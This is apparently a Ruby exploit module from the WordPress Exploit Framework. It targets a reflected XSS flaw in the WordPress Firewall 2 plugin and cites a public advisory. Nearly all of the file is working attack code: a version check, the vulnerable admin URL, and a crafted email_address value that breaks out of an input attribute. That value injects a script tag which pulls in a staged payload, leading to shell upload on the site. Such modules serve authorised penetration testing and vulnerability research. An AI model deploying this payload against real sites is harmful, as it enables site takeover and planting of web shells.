# frozen_string_literal: true

class Wpxf::Exploit::WordpressFirewallReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'WordPress Firewall 2 Reflected XSS Shell Upload',
      author: [
        'Tom Adams', # Disclosure
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8787'],
        ['URL', 'https://security.dxw.com/advisories/csrfstored-xss-in-wordpress-firewall-2-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/']
      ],
      date: 'Apr 04 2017'
    )
  end

  def check
    check_plugin_version_from_readme('wordpress-firewall-2', '1.3.1')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'email_address' => "#{Utility::Text.rand_email}\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><input value=\\\"",
      'set_email'     => 'Set Email'
    )
  end
end
